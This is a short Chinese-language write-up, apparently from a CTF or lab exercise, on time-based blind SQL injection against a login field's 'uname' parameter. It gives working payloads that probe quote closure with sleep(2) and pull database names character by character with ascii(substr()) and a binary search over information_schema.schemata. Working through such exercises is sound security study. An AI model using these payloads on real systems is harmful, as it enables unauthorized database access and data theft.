使用**’** , " , ) ,还有各种组合进行试探之后发现并没有报错信息和任何输出的位置。然后想到盲注。
时间盲注
输入1111’ or sleep(2) --+ 发现响应有延时。
再输入：1111’ and sleep(2) --+ 发现没有延时。
按照我之前的分析，基本可以确定是单引号闭合的语句。
接下来进行时间盲注：
uname=1111’ or if((select version()),sleep(2),0) --+ 查询版本信息
上个语句好像有瑕疵，应该输入：
uname=1111’ or if((select ascii(substr(version(),1,1))),sleep(2),0) --+ 这个语句对版本信息进行剪切，剪切第一个字母并转ASCII码。
进行正式注入，输入语句：
uname=1111’ or if((select ascii(substr((schema_name),1,1)) from information_schema.schemata limit 0,1)>1,sleep(2),0) --+
从information_schema.schemata表中查询库名。
确定语句正确后，通过改变大于号和数字来进行判断（二分法），同时还需更改substr()函数的第二个参数来调整查询的字母。
下面是一系列的查询：
经过一系列的查询，我们得到库名为‘information_schema’。
相关文章：